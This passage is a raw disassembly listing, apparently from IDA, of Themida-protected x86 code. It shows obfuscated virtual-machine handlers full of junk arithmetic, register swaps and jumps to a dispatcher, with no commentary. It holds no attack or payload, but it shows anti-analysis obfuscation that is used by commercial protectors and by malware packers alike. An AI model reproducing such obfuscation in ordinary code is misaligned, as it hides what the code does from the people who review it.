loc_58A585: ; CODE XREF: Themida_:00582E96j
mov edi, ebp
pop ebp
add esi, edi
pop edi
push 4555h
mov [esp], edx
mov edx, 7644D09h
shr edx, 8
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
jmp loc_58C408
; ---------------------------------------------------------------------------
loc_58A5B3: ; CODE XREF: Themida_:0058C956j
and ecx, ebx
jmp loc_584365
; ---------------------------------------------------------------------------
loc_58A5BA: ; CODE XREF: Themida_:005848E3j
push 40E4h
mov [esp], esi
mov esi, esp
add esi, 4
push ebx
mov ebx, 18CA3E72h
jmp loc_5890D2
; ---------------------------------------------------------------------------
mov cx, [esp]
jmp loc_588FA8
; ---------------------------------------------------------------------------
loc_58A5DE: ; CODE XREF: Themida_:0058AA76j
add esp, 4
add edx, 4
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
pop esp
mov edx, [esp]
push eax
jmp loc_588AF5
; ---------------------------------------------------------------------------
loc_58A5FA: ; CODE XREF: Themida_:0058192Ej
add esp, 4
push 1069h
mov [esp], edi
sub esp, 4
mov [esp], ebx
mov ebx, 4
mov edi, ebx
pop ebx
jmp loc_583015
; ---------------------------------------------------------------------------
loc_58A61E: ; CODE XREF: Themida_:0058CCABj
add dl, 68h
jmp loc_587234
; ---------------------------------------------------------------------------
loc_58A626: ; CODE XREF: Themida_:00581EE1j
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
pop esp
add [esp], al
pushf
jmp loc_584C23
; ---------------------------------------------------------------------------
loc_58A639: ; CODE XREF: Themida_:00581D1Aj
mov [esp], esi
push 194Dh
mov [esp], esp
add dword ptr [esp], 4
mov esi, [esp]
add esp, 4
push ecx
mov ecx, 71D12DF8h
and ecx, 79435134h
push ebp
mov ebp, 7141012Ch
sub ecx, 43CA3F5Fh
sub ecx, ebp
add ecx, 43CA3F5Fh
pop ebp
jmp loc_58BE2A
; ---------------------------------------------------------------------------
loc_58A67A: ; CODE XREF: Themida_:0058399Dj
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_58A67F: ; CODE XREF: Themida_:0058ABAAj
add ebx, esi
sub ebx, 61DD5D7Dh
mov esi, [esp]
add esp, 4
pop ebp
add ebx, 15827312h
add ebx, eax
sub ebx, 15827312h
sub ebx, 564D7F42h
push 1BC0h
mov [esp], ebx
jmp loc_588FE3
; ---------------------------------------------------------------------------
loc_58A6AF: ; CODE XREF: Themida_:0058753Bj
push 5BFCh
mov [esp], esi
not dword ptr [esp]
mov esi, [esp]
add esp, 4
push eax
mov eax, 0D262339Ch
jmp loc_589334
; ---------------------------------------------------------------------------
loc_58A6CE: ; CODE XREF: Themida_:0058813Dj
add edx, esi
pop esi
push ebx
mov ebx, 153975F5h
shl ebx, 8
dec ebx
jmp loc_58633A
; ---------------------------------------------------------------------------
loc_58A6E0: ; CODE XREF: Themida_:0058A477j
dec ch
jmp loc_58C1EE
; ---------------------------------------------------------------------------
loc_58A6E7: ; CODE XREF: Themida_:00586F69j
xor ebp, 5F1F7258h
add ebp, 18F6152Bh
sub ebp, 3EB85819h
xor ebp, 0F5F6EC5Dh
add eax, ebp
pop ebp
mov ebp, eax
mov eax, [esp]
add esp, 4
push ecx
push ebp
mov ebp, 63E46061h
dec ebp
add ebp, 0BE0AB1AAh
mov ecx, ebp
jmp loc_588A2C
; ---------------------------------------------------------------------------
loc_58A722: ; CODE XREF: Themida_:00581F3Aj
push edi
mov edi, 68C23A65h
neg edi
or edi, 63993801h
xor edi, 73501344h
xor edi, 84EDEEDDh
sub ebp, 0F6619AAh
add ebp, edi
add ebp, 0F6619AAh
pop edi
push ebp
push dword ptr [esp+4]
mov ebp, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
jmp loc_58C0B2
; ---------------------------------------------------------------------------
loc_58A764: ; CODE XREF: Themida_:005872E8j
mov [esp], ebp
mov ebp, esp
add ebp, 4
push ebx
mov ebx, 4
add ebp, 2C0B1D84h
sub ebp, ebx
sub ebp, 2C0B1D84h
jmp loc_585474
; ---------------------------------------------------------------------------
loc_58A788: ; CODE XREF: Themida_:00587F31j
pop ecx
jmp loc_585786
; ---------------------------------------------------------------------------
loc_58A78E: ; CODE XREF: Themida_:0058C04Aj
sub esp, 4
jmp loc_582CAB
; ---------------------------------------------------------------------------
loc_58A799: ; CODE XREF: Themida_:00585927j
pop esp
jmp loc_585384
; ---------------------------------------------------------------------------
loc_58A79F: ; CODE XREF: Themida_:00582DB4j
pop esp
jmp loc_587D3A
; ---------------------------------------------------------------------------
loc_58A7A5: ; CODE XREF: Themida_:005880A6j
btc [esp], ax
pushf
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_58A7B0: ; CODE XREF: Themida_:005824AAj
mov bl, 0Ah
or bl, 16h
shl bl, 2
jmp loc_58400A
; ---------------------------------------------------------------------------
loc_58A7BD: ; CODE XREF: Themida_:00582839j
dec ah
mov ch, ah
pop ax
jmp loc_58B780
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop eax
adc [esp], eax
pushf
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_58A7D6: ; CODE XREF: Themida_:00588FDEj
mov esp, [esp]
test ecx, eax
pushf
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_58A7E1: ; CODE XREF: Themida_:00586634j
mov [esp], ebp
mov ebp, esp
jmp loc_584F76
; ---------------------------------------------------------------------------
loc_58A7EB: ; CODE XREF: Themida_:00585B3Bj
add ecx, edi
pop edi
xchg ecx, [esp]
mov esp, [esp]
bswap eax
push ecx
push esp
mov ecx, [esp]
add esp, 4
jmp loc_58D57C
; ---------------------------------------------------------------------------
loc_58A806: ; CODE XREF: Themida_:0058BE25j
push ebp
jmp loc_58D135
; ---------------------------------------------------------------------------
loc_58A80C: ; CODE XREF: Themida_:00582661j
or ecx, eax
mov eax, [esp]
add esp, 4
xchg ebx, ecx
inc ebx
xor ecx, ebx
xor ebx, ecx
xor ecx, ebx
add ecx, 935F877Bh
push ebx
jmp loc_58A990
; ---------------------------------------------------------------------------
loc_58A82C: ; CODE XREF: Themida_:0058B488j
add esp, 4
jmp loc_588E8A
; ---------------------------------------------------------------------------
loc_58A834: ; CODE XREF: Themida_:0058726Fj
xor ecx, 165D600Bh
add esi, ecx
pop ecx
sub esi, edi
sub esi, 720329BAh
xchg esi, edi
pop esi
xor edi, 5F5F35C0h
and eax, edi
mov edi, [esp]
jmp loc_5895E2
; ---------------------------------------------------------------------------
loc_58A858: ; CODE XREF: Themida_:0058BF3Aj
pop esi
sub ecx, 1E7C40E6h
sub ecx, 739513AAh
xor ecx, 88F19C75h
mov edi, ecx
jmp loc_5866DB
; ---------------------------------------------------------------------------
loc_58A872: ; CODE XREF: Themida_:00582D8Fj
sub esi, 0DDB8DF49h
xor edx, esi
push dword ptr [esp]
jmp loc_583CD6
; ---------------------------------------------------------------------------
loc_58A882: ; CODE XREF: Themida_:00586316j
xor dl, al
pop ax
add al, 0DFh
add al, dl
sub al, 0DFh
mov edx, [esp]
jmp loc_584148
; ---------------------------------------------------------------------------
loc_58A894: ; CODE XREF: Themida_:0058B77Bj
push edx
mov edx, esp
add edx, 4
add edx, 4
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
mov esp, [esp]
push edx
mov edx, 0BF0263Ah
push ebp
mov ebp, 16FC4094h
jmp loc_5818D7
; ---------------------------------------------------------------------------
loc_58A8C0: ; CODE XREF: Themida_:0058AB96j
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
pop esp
jmp loc_5869EC
; ---------------------------------------------------------------------------
loc_58A8CF: ; CODE XREF: Themida_:005890E4j
pop esp
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
mov esp, [esp]
mov ax, [esp]
push ebp
mov ebp, esp
push esi
push edi
jmp loc_584D0C
; ---------------------------------------------------------------------------
loc_58A8EA: ; CODE XREF: Themida_:0058B719j
add ecx, eax
pop eax
add ecx, 4
xchg ecx, [esp]
jmp loc_589568
; ---------------------------------------------------------------------------
loc_58A8FB: ; CODE XREF: Themida_:00586D27j
mov esp, [esp]
inc word ptr [esp]
pushf
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_58A908: ; CODE XREF: Themida_:00585FA3j
add ebx, eax
push edi
mov edi, 3C462A56h
add edi, 0FFFFFFFFh
jmp loc_58C77B
; ---------------------------------------------------------------------------
mov ax, [esp]
push ecx
jmp loc_583CAB
; ---------------------------------------------------------------------------
loc_58A925: ; CODE XREF: Themida_:00586E8Fj
push 3D25h
jmp loc_588DC2
; ---------------------------------------------------------------------------
loc_58A92F: ; CODE XREF: Themida_:0058A1D1j
push ebx
push ecx
mov ecx, 1B03646Ah
push ecx
pop ebx
pop ecx
xor [esp+4], ebx
pop ebx
mov ecx, [esp]
add esp, 4
xor ecx, 1B03646Ah
push dword ptr [esp]
jmp loc_58B326
; ---------------------------------------------------------------------------
loc_58A952: ; CODE XREF: Themida_:0058C3E2j
push 2B89h
mov [esp], ebp
push esp
mov ebp, [esp]
push ecx
jmp loc_587C0A
; ---------------------------------------------------------------------------
loc_58A964: ; CODE XREF: Themida_:00582503j
add ebp, 0D2F636F6h
and edi, ebp
pop ebp
not edi
push edx
jmp loc_5848CF
; ---------------------------------------------------------------------------
loc_58A975: ; CODE XREF: Themida_:00587632j
sub eax, ebp
pop ebp
sub eax, edx
jmp loc_586CC1
; ---------------------------------------------------------------------------
loc_58A97F: ; CODE XREF: Themida_:0058BA54j
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
mov [esp], ebp
jmp loc_58C54A
; ---------------------------------------------------------------------------
loc_58A990: ; CODE XREF: Themida_:0058A827j
mov ebx, 7E2E79D5h
add eax, ebx
pop ebx
jmp loc_58A352
; ---------------------------------------------------------------------------
loc_58A99D: ; CODE XREF: Themida_:0058D47Ej
pop ebx
add ecx, esi
jmp loc_585617
; ---------------------------------------------------------------------------
loc_58A9A5: ; CODE XREF: Themida_:00589E37j
pop eax
push ebx
jmp loc_583AA5
; ---------------------------------------------------------------------------
loc_58A9AC: ; CODE XREF: Themida_:00582C29j
add edi, 4
add edi, 4
push edi
jmp loc_58C75C
; ---------------------------------------------------------------------------
loc_58A9BE: ; CODE XREF: Themida_:0058490Bj
sub ecx, 743A7130h
pop edx
jmp loc_58C696
; ---------------------------------------------------------------------------
loc_58A9CA: ; CODE XREF: Themida_:0058B047j
mov esp, [esp]
mov dx, [esp]
push 63F7h
mov [esp], edi
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp]
pop esp
mov [esp], ecx
push 6E19h
push esp
pop dword ptr [esp]
jmp loc_58B495
; ---------------------------------------------------------------------------
loc_58A9FC: ; CODE XREF: Themida_:00587738j
sub eax, 33CA27E8h
push edx
jmp loc_582C4C
; ---------------------------------------------------------------------------
loc_58AA07: ; CODE XREF: Themida_:0058D232j
push ebx
jmp loc_586407
; ---------------------------------------------------------------------------
loc_58AA0D: ; CODE XREF: Themida_:0058DBE2j
push edx
jmp loc_58D32F
; ---------------------------------------------------------------------------
loc_58AA13: ; CODE XREF: Themida_:00588337j
push 229Eh
jmp loc_587B13
; ---------------------------------------------------------------------------
loc_58AA1D: ; CODE XREF: Themida_:00588CCAj
push ebx
push 64F9361Fh
pop ebx
shl ebx, 7
neg ebx
jmp loc_58540A
; ---------------------------------------------------------------------------
loc_58AA2E: ; CODE XREF: Themida_:0058E027j
push dword ptr [esp]
mov edx, [esp]
add esp, 4
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
jmp loc_58BB9F
; ---------------------------------------------------------------------------
loc_58AA52: ; CODE XREF: Themida_:00589D87j
sub ebp, 55F44A50h
pop ebx
neg ebp
push 6614h
mov [esp], esi
push edx
mov edx, 1CF248CCh
mov esi, 0DC464F35h
jmp loc_58D342
; ---------------------------------------------------------------------------
loc_58AA73: ; CODE XREF: Themida_:00583267j
mov ecx, [esp]
jmp loc_58A5DE
; ---------------------------------------------------------------------------
loc_58AA7B: ; CODE XREF: Themida_:00583D98j
push 1917h
mov [esp], edi
push dword ptr [esp]
mov eax, [esp]
add esp, 4
add esp, 4
push dword ptr [esp]
mov edi, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
jmp loc_589C8A
; ---------------------------------------------------------------------------
loc_58AAAC: ; CODE XREF: Themida_:00585B08j
mov edx, [esp]
push esi
mov esi, esp
add esi, 4
jmp loc_586662
; ---------------------------------------------------------------------------
loc_58AABD: ; CODE XREF: Themida_:005868DBj
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_58AAC2: ; CODE XREF: Themida_:00589BCDj
inc ebp
sub ebp, 4356194Fh
sub eax, 3C9808F2h
add eax, ebp
add eax, 3C9808F2h
pop ebp
push 72D1h
mov [esp], edi
mov edi, 2
add eax, edi
pop edi
xor eax, [esp]
jmp loc_58B041
; ---------------------------------------------------------------------------
loc_58AAEE: ; CODE XREF: Themida_:0058DEB7j
sub al, dl
pop edx
pop dx
sub al, 61h
add al, dh
add al, 61h
sub al, 92h
pop edx
push 6BDh
mov [esp], ecx
mov ecx, esp
add ecx, 4
sub ecx, 2
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
pop esp
mov [esp], cx
mov cl, 0Ah
jmp loc_582496
; ---------------------------------------------------------------------------
loc_58AB24: ; CODE XREF: Themida_:00589325j
mov [esp], ax
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_58AB2D: ; CODE XREF: Themida_:0058B472j
mov [esp], ebx
push ebp
push 2F917E3Dh
pop ebp
xor ebp, ebx
xor ebx, ebp
xor ebp, ebx
dec ebx
xchg ebx, ebp
jmp loc_58C6E8
; ---------------------------------------------------------------------------
loc_58AB45: ; CODE XREF: Themida_:00584FD6j
push esp
jmp loc_58BAA7
; ---------------------------------------------------------------------------
loc_58AB4B: ; CODE XREF: Themida_:005865C3j
push 95Dh
jmp loc_588607
; ---------------------------------------------------------------------------
loc_58AB55: ; CODE XREF: Themida_:0058310Cj
and eax, 49762264h
add eax, 96E3A57h
add eax, 0FED518E1h
jmp loc_58BC58
; ---------------------------------------------------------------------------
loc_58AB69: ; CODE XREF: Themida_:0058598Bj
shl eax, 2
jmp loc_585890
; ---------------------------------------------------------------------------
loc_58AB71: ; CODE XREF: Themida_:0058B5BDj
or edx, ebx
pop ebx
sub edx, 0DEF6F7CDh
jmp loc_589B6F
; ---------------------------------------------------------------------------
loc_58AB7F: ; CODE XREF: Themida_:005828F1j
pop ecx
dec ebp
dec ebp
dec ebp
jmp loc_582B7D
; ---------------------------------------------------------------------------
loc_58AB88: ; CODE XREF: Themida_:005896FAj
mov [esp], edx
mov edx, esp
add edx, 4
sub edx, 4
jmp loc_58A8C0
; ---------------------------------------------------------------------------
loc_58AB9B: ; CODE XREF: Themida_:00582A0Cj
shl esi, 2
add esi, 84CCF7FBh
add ebx, 61DD5D7Dh
jmp loc_58A67F
; ---------------------------------------------------------------------------
loc_58ABAF: ; CODE XREF: Themida_:00586A86j
sub esp, 4
mov [esp], ebx
push ecx
mov cl, ah
mov bl, cl
jmp loc_58D815
; ---------------------------------------------------------------------------
loc_58ABBF: ; CODE XREF: Themida_:00582FBCj
push 3A10h
mov [esp], edx
push ebx
mov ebx, 4664165h
push 4E6Bh
jmp loc_587ACE
; ---------------------------------------------------------------------------
loc_58ABD7: ; CODE XREF: Themida_:00581950j
sub edx, 4A8E4834h
sub edx, edi
add edx, 4A8E4834h
pop edi
shl edx, 2
shr edx, 1
neg edx
add edx, 0C3A32E2Bh
sub eax, edx
push dword ptr [esp]
jmp loc_583B08
; ---------------------------------------------------------------------------
loc_58ABFD: ; CODE XREF: Themida_:0058B0D6j
mov esp, [esp]
imul cx, ax
push cx
pushf
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_58AC0C: ; CODE XREF: Themida_:00587AD8j
pop eax
add edx, ecx
pop ecx
push edi
mov edi, 11D87463h
add edi, 163CF177h
jmp loc_58BDE9
; ---------------------------------------------------------------------------
loc_58AC21: ; CODE XREF: Themida_:00581AD8j
mov bh, 0DBh
add bh, dh
pop edx
shl bh, 7
inc bh
xor bh, 0B8h
push edx
mov dh, 0E9h
jmp loc_58C440
; ---------------------------------------------------------------------------
loc_58AC36: ; CODE XREF: Themida_:0058D8F2j
sub al, ch
add al, 9Eh
pop ecx
sub esp, 4
mov [esp], edx
mov dl, 5Bh
shl dl, 1
or dl, 98h
neg dl
jmp loc_582A88
; ---------------------------------------------------------------------------
loc_58AC4F: ; CODE XREF: Themida_:0058C9B4j
pop ebx
push eax
mov eax, 4
add edi, eax
jmp loc_58B351
; ---------------------------------------------------------------------------
loc_58AC5D: ; CODE XREF: Themida_:00588120j
mov ebp, [esp]
add esp, 4
add esp, 4
push edx
mov edx, esp
add edx, 4
push esi
jmp loc_58DDDD
; ---------------------------------------------------------------------------
loc_58AC78: ; CODE XREF: Themida_:00584DD2j
add ebp, 4783616Eh
pop ebx
sub eax, 57D4188Dh
add eax, ebp
add eax, 57D4188Dh
pop ebp
add eax, 604D23E7h
add eax, ebx
jmp loc_5844D9
; ---------------------------------------------------------------------------
loc_58AC98: ; CODE XREF: Themida_:00585D93j
pop edi
xchg ecx, [esp]
mov esp, [esp]
xor [esp], eax
pushf
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_58ACA8: ; CODE XREF: Themida_:00584A8Dj
push esi
push esp
pop esi
push edx
mov edx, 4
add esi, 2A6602D2h
add esi, edx
sub esi, 2A6602D2h
push dword ptr [esp]
pop edx
push esi
push esp
pop esi
add esi, 4
add esi, 4
jmp loc_5841A2
; ---------------------------------------------------------------------------
loc_58ACD4: ; CODE XREF: Themida_:00589B95j
push 1B43h
jmp loc_5852E5
; ---------------------------------------------------------------------------
loc_58ACDE: ; CODE XREF: Themida_:0058B9E7j
mov ebp, 7B28157Fh
jmp loc_58519C
; ---------------------------------------------------------------------------
loc_58ACE8: ; CODE XREF: Themida_:00584D29j
inc eax
add eax, 42A42A20h
sub edx, eax
pop eax
xor edx, 3628746Fh
add edx, 8701B9BCh
or edi, edx
pop edx
not edi
inc edi
push ecx
jmp loc_5874BE
; ---------------------------------------------------------------------------
loc_58AD09: ; CODE XREF: Themida_:00584E6Dj
mov esi, 34158CF7h
sub esi, edx
mov edx, [esp]
add esp, 4
add esi, 0E75DC92Fh
and eax, esi
mov esi, [esp]
jmp loc_583F8B
; ---------------------------------------------------------------------------
loc_58AD29: ; CODE XREF: Themida_:0058BCDAj
add edi, 5D4A7285h
jmp loc_58C96E
; ---------------------------------------------------------------------------
loc_58AD34: ; CODE XREF: Themida_:005884FBj
add edx, edi
jmp loc_585870
; ---------------------------------------------------------------------------
loc_58AD3B: ; CODE XREF: Themida_:00581FF7j
push ebx
jmp loc_58D470
; ---------------------------------------------------------------------------
loc_58AD41: ; CODE XREF: Themida_:005856BDj
sub esp, 4
jmp loc_58E018
; ---------------------------------------------------------------------------
loc_58AD49: ; CODE XREF: Themida_:00584105j
not ah
sub ah, 0BBh
sub bh, ah
pop eax
xor ch, bh
pop ebx
inc ch
add ch, 0D3h
push edx
mov dh, 1Eh
sub dh, 0AEh
shr dh, 5
push bx
mov bh, 8Fh
or dh, bh
pop bx
xor dh, 93h
xor dh, 16h
add al, dh
pop edx
add al, ch
sub al, 0Ah
jmp loc_589236
; ---------------------------------------------------------------------------
loc_58AD7C: ; CODE XREF: Themida_:0058CAD4j
add eax, 67A74C10h
push ebp
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
mov ebp, [esp]
add esp, 4
add ebp, 4
push edi
jmp loc_58C7DD
; ---------------------------------------------------------------------------
loc_58AD9E: ; CODE XREF: Themida_:0058C913j
pop ebp
jmp loc_58A56B
; ---------------------------------------------------------------------------
loc_58ADA4: ; CODE XREF: Themida_:0058BFC8j
xchg eax, [esp]
pop esp
jmp loc_58551D
; ---------------------------------------------------------------------------
loc_58ADAD: ; CODE XREF: Themida_:0058BC7Ej
sub ecx, 2B5A712Bh
add ecx, edx
add ecx, 2B5A712Bh
pop edx
push 5434h
mov [esp], ecx
push dword ptr [esp+4]
mov ecx, [esp]
jmp loc_585A93
; ---------------------------------------------------------------------------
loc_58ADD0: ; CODE XREF: Themida_:00582FA9j
add esp, 4
xchg ecx, [esp]
mov esp, [esp]
jmp loc_589D2A
; ---------------------------------------------------------------------------
loc_58ADDE: ; CODE XREF: Themida_:005883D5j
sub cx, 69E8h
sub esp, 2
jmp loc_585AAE
; ---------------------------------------------------------------------------
loc_58ADEE: ; CODE XREF: Themida_:00582030j
mov [esp], edx
mov edx, esp
add edx, 4
add edx, 4
jmp loc_5865AB
; ---------------------------------------------------------------------------
loc_58AE04: ; CODE XREF: Themida_:0058D630j
push edx
jmp loc_585B1E
; ---------------------------------------------------------------------------
loc_58AE0A: ; CODE XREF: Themida_:0058AEC9j
push 43DBh
mov [esp], esp
jmp loc_58702E
; ---------------------------------------------------------------------------
loc_58AE17: ; CODE XREF: Themida_:0058BA9Aj
push dword ptr [esp]
mov eax, [esp]
push edx
jmp loc_58C2B0
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcr dword ptr [esp], cl
pushf
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_58AE32: ; CODE XREF: Themida_:005862DCj
pop edx
xor edx, 4C6F7818h
push esi
mov esi, edx
jmp loc_58A06E
; ---------------------------------------------------------------------------
loc_58AE41: ; CODE XREF: Themida_:00583B5Aj
not eax
xor eax, 57AA1F6Dh
jmp loc_589246
; ---------------------------------------------------------------------------
loc_58AE4D: ; CODE XREF: Themida_:00583C51j
push esp
pop ebp
sub esp, 4
mov [esp], esi
mov esi, 4
add ebp, esi
push dword ptr [esp]
jmp loc_58DBE7
; ---------------------------------------------------------------------------
loc_58AE67: ; CODE XREF: Themida_:00582F7Aj
mov cx, [esp]
push edx
push ebx
jmp loc_587E44
; ---------------------------------------------------------------------------
loc_58AE72: ; CODE XREF: Themida_:005852E8j
mov edx, 4
push ecx
mov ecx, 456A5989h
sub edi, 72C12901h
sub edi, 3DD14EEBh
jmp loc_58C06D
; ---------------------------------------------------------------------------
loc_58AE8E: ; CODE XREF: Themida_:0058D855j
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_58AE93: ; CODE XREF: Themida_:0058996Bj
mov [esp], eax
mov eax, esp
jmp loc_5843C1
; ---------------------------------------------------------------------------
loc_58AE9D: ; CODE XREF: Themida_:00585077j
add eax, edx
mov edx, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
add eax, 4
jmp loc_584CA8
; ---------------------------------------------------------------------------
push dword ptr [esp]
pop eax
sub esp, 4
mov [esp], ebx
jmp loc_58AE0A
; ---------------------------------------------------------------------------
loc_58AECE: ; CODE XREF: Themida_:005897E7j
mov ecx, [esp]
add esp, 4
mov ecx, [esp]
add esp, 4
add ecx, 4
push edx
jmp loc_587FE7
; ---------------------------------------------------------------------------
loc_58AEE6: ; CODE XREF: Themida_:00586888j
push dword ptr [esp]
jmp loc_583A1C
; ---------------------------------------------------------------------------
xor [esp], esi
xor esi, [esp]
xor [esp], esi
sub esp, 4
jmp loc_589C78
; ---------------------------------------------------------------------------
loc_58AEFF: ; CODE XREF: Themida_:0058778Dj
sub edi, 218015FCh
add ecx, edi
jmp loc_585EBA
; ---------------------------------------------------------------------------
loc_58AF0C: ; CODE XREF: Themida_:00586A12j
mov esi, edx
sub esp, 4
jmp loc_5882E4
; ---------------------------------------------------------------------------
loc_58AF16: ; CODE XREF: Themida_:00586D76j
add esi, 4
xor esi, [esp]
jmp loc_582774
; ---------------------------------------------------------------------------
loc_58AF24: ; CODE XREF: Themida_:00583C7Dj
xor ch, 3Ch
sub dl, ch
pop ecx
jmp loc_58B4D4
; ---------------------------------------------------------------------------
loc_58AF2F: ; CODE XREF: Themida_:00584A65j
add esp, 4
jmp loc_58218A
; ---------------------------------------------------------------------------
xor [esp], ah
xor ah, [esp]
xor [esp], ah
sub esp, 2
mov [esp], bx
push edx
jmp loc_582DFD
; ---------------------------------------------------------------------------
loc_58AF4D: ; CODE XREF: Themida_:0058BDDDj
add esi, 4
push ecx
push edx
mov edx, 2
push edx
sub dword ptr [esp], 7E5C583Dh
mov ecx, [esp]
add esp, 4
add ecx, 7E5C583Dh
pop edx
push ecx
jmp loc_582C2E
; ---------------------------------------------------------------------------
loc_58AF78: ; CODE XREF: Themida_:0058D122j
mov edi, 4
jmp loc_58604E
; ---------------------------------------------------------------------------
loc_58AF82: ; CODE XREF: Themida_:005887E9j
add esp, 4
sub esp, 4
mov [esp], edx
mov edx, 13960C8Bh
neg edx
jmp loc_58646A
; ---------------------------------------------------------------------------
loc_58AF97: ; CODE XREF: Themida_:00586EE5j
xchg eax, [esp]
jmp loc_587C2F
; ---------------------------------------------------------------------------
loc_58AF9F: ; CODE XREF: Themida_:0058CDF6j
mov eax, [esp]
push eax
jmp loc_583BA1
; ---------------------------------------------------------------------------
loc_58AFA8: ; CODE XREF: Themida_:0058C9E6j
add ecx, ebx
pop ebx
add ebx, ecx
pop ecx
jmp loc_58D6BA
; ---------------------------------------------------------------------------
loc_58AFB3: ; CODE XREF: Themida_:00587A99j
mov dl, 1Dh
add al, dl
jmp loc_583656
; ---------------------------------------------------------------------------
loc_58AFBC: ; CODE XREF: Themida_:00586622j
shl byte ptr [esp], cl
pushf
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_58AFC5: ; CODE XREF: Themida_:00587C12j
add ecx, 4
xchg ecx, [esp]
jmp loc_588FA2
; ---------------------------------------------------------------------------
loc_58AFD0: ; CODE XREF: Themida_:00589843j
pop ebx
add ecx, esi
push dword ptr [esp]
pop esi
add esp, 4
push ebp
mov ebp, 50376C2h
push eax
mov eax, 8B835C5h
neg eax
jmp loc_58D4F8
; ---------------------------------------------------------------------------
mov cx, [esp]
push 10C7h
mov [esp], ecx
jmp loc_58A417
; ---------------------------------------------------------------------------
loc_58B001: ; CODE XREF: Themida_:005856EEj
xor eax, [esp]
jmp loc_586E13
; ---------------------------------------------------------------------------
loc_58B009: ; CODE XREF: Themida_:0058BD15j
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_58B00E: ; CODE XREF: Themida_:005890A0j
mov ebp, esi
jmp loc_58A47C
; ---------------------------------------------------------------------------
loc_58B015: ; CODE XREF: Themida_:00584394j
add esp, 4
push 586Fh
mov [esp], edx
mov edx, 2Ch
add edx, edi
jmp loc_58CEB2
; ---------------------------------------------------------------------------
loc_58B02F: ; CODE XREF: Themida_:00584A7Ej
push 878h
mov [esp], ecx
push 5094h
jmp loc_58694C
; ---------------------------------------------------------------------------
loc_58B041: ; CODE XREF: Themida_:0058AAE9j
xor [esp], eax
xor eax, [esp]
jmp loc_58A9CA
; ---------------------------------------------------------------------------
loc_58B04C: ; CODE XREF: Themida_:00586C1Cj
pop esi
mov edx, esi
pop esi
pop edi
or edx, 5EDD3124h
dec edx
neg edx
sub edx, 2D497DC7h
add eax, edx
pop edx
push ebp
jmp loc_58BCDF
; ---------------------------------------------------------------------------
loc_58B069: ; CODE XREF: Themida_:0058952Cj
mov esp, [esp]
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_58B071: ; CODE XREF: Themida_:005853B8j
dec ebx
jmp loc_5870CF
; ---------------------------------------------------------------------------
loc_58B077: ; CODE XREF: Themida_:0058CB6Bj
mov al, 0ABh
xor bl, al
pop eax
not bl
and bl, 0EEh
add bl, 0AFh
sub al, bl
pop ebx
sub al, 29h
mov dx, [esp]
push ebx
jmp loc_588493
; ---------------------------------------------------------------------------
loc_58B093: ; CODE XREF: Themida_:00584A52j
push 0F255CB7h
mov edi, [esp]
add esp, 4
push eax
mov eax, 523C554Eh
xor eax, 5F963966h
sub eax, 1
xor eax, 47140277h
neg eax
add eax, 46904041h
xor eax, 8D97D6E5h
add edi, eax
pop eax
xor edi, 1AF5396h
push 476h
mov [esp], esi
jmp loc_589102
; ---------------------------------------------------------------------------
loc_58B0D3: ; CODE XREF: Themida_:0058D61Fj
pop dword ptr [esp]
jmp loc_58ABFD
; ---------------------------------------------------------------------------
loc_58B0DB: ; CODE XREF: Themida_:0058C37Cj
xor edi, 5EAA5182h
xor edi, 71EDB086h
add ebx, edi
pop edi
sub esp, 4
mov [esp], ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
jmp loc_58CBD9
; ---------------------------------------------------------------------------
loc_58B100: ; CODE XREF: Themida_:0058D1F8j
add ebx, 4
jmp loc_58D71B
; ---------------------------------------------------------------------------
loc_58B108: ; CODE XREF: Themida_:00585CEDj
mov [esp], ecx
mov ecx, 4
mov esi, ecx
jmp loc_588EA7
; ---------------------------------------------------------------------------
loc_58B117: ; CODE XREF: Themida_:0058BF32j
pop edx
xor ch, ah
mov ax, [esp]
add esp, 2
xor al, ch
pop ecx
sub esp, 2
mov [esp], bx
push small 12Ah
mov [esp], ax
push edx
push ebx
mov bh, 1Eh
xor bh, 0AFh
mov dl, bh
pop ebx
push ebx
mov bl, dl
mov ah, bl
pop ebx
pop edx
jmp loc_5858E7
; ---------------------------------------------------------------------------
loc_58B14F: ; CODE XREF: Themida_:0058430Aj
add esp, 4
push edx
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
pop esp
cmp cl, al
pushf
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_58B164: ; CODE XREF: Themida_:00589EB0j
pop edx
sub bh, 4
sub dl, bh
pop ebx
and dl, 0EFh
push ecx
jmp loc_58BDA9
; ---------------------------------------------------------------------------
loc_58B174: ; CODE XREF: Themida_:005891FAj
shr ebp, 3
xor ebp, 8F5604Ah
add ebx, ebp
jmp loc_589AB9
; ---------------------------------------------------------------------------
loc_58B184: ; CODE XREF: Themida_:00586AFDj
push esp
